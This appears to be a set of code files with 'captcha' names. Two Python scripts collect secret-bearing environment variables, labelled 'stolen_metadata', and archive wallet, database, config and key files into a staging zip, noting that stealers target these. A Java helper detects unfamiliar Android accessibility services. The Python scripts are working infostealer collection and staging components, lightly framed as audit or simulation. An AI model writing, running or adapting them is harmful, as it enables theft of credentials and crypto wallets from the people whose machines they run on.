File Code

captcha1.py

import os import platform import json def scan_system_environment(): # Define target keywords that might contain sensitive access keys target_keywords = ["API_KEY", "SECRET", "PASSWORD", "TOKEN", "CREDENTIALS"] stolen_metadata = { "os_info": platform.system() + " " + platform.release(), "hostname": platform.node(), "discovered_variables": {} } # Iterate through system environment variables for key, value in os.environ.items(): for keyword in target_keywords: if keyword in key.upper(): # In an audit context, this flags insecurely stored secrets stolen_metadata["discovered_variables"][key] = value # Convert gathered data to a structured format (JSON) return json.dumps(stolen_metadata, indent=4) if __name__ == "__main__": # Simulate data aggregation aggregated_data = scan_system_environment() print("[+] System Profile and Found Configuration Secrets:") print(aggregated_data)

captcha2.py

import os import zipfile def harvest_target_files(start_directory, backup_zip_name): # Extensions often targeted by stealers (wallets, configuration files, notes) target_extensions = (".wallet", ".db", ".conf", ".key") found_files = [] # Walk through the specified directory tree for root, dirs, files in os.walk(start_directory): for file in files: if file.endswith(target_extensions): full_path = os.path.join(root, file) found_files.append(full_path) # If targets are found, stage them into a single archive file if found_files: with zipfile.ZipFile(backup_zip_name, 'w') as archive: for file_path in found_files: # Add file to the archive, preserving a simplified structure archive.write(file_path, os.path.basename(file_path)) return f"[+] Successfully archived {len(found_files)} files into {backup_zip_name}" return "[-] No target configuration files found." if __name__ == "__main__": # Simulate scanning a mock local directory mock_target_dir = "./mock_user_profile" os.makedirs(mock_target_dir, exist_ok=True) # Run the harvester result = harvest_target_files(mock_target_dir, "staged_data.zip") print(result)

captcha android.java

import android.accessibilityservice.AccessibilityServiceInfo; import android.content.Context; import android.view.accessibility.AccessibilityManager; import java.util.List; public class SecurityUtils { public static boolean isSuspectAccessibilityServiceActive(Context context) { AccessibilityManager am = (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE); if (am == null) return false; // Get all enabled accessibility services List enabledServices = am.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_ALL_MASK); for (AccessibilityServiceInfo service : enabledServices) { String serviceId = service.getId(); // Check if the service is not from a well-known, pre-installed package if (!serviceId.startsWith("com.google.android.marvin.talkback") && !serviceId.startsWith("com.android.settings")) { // Potential unauthorized monitoring service detected return true; } } return false; } }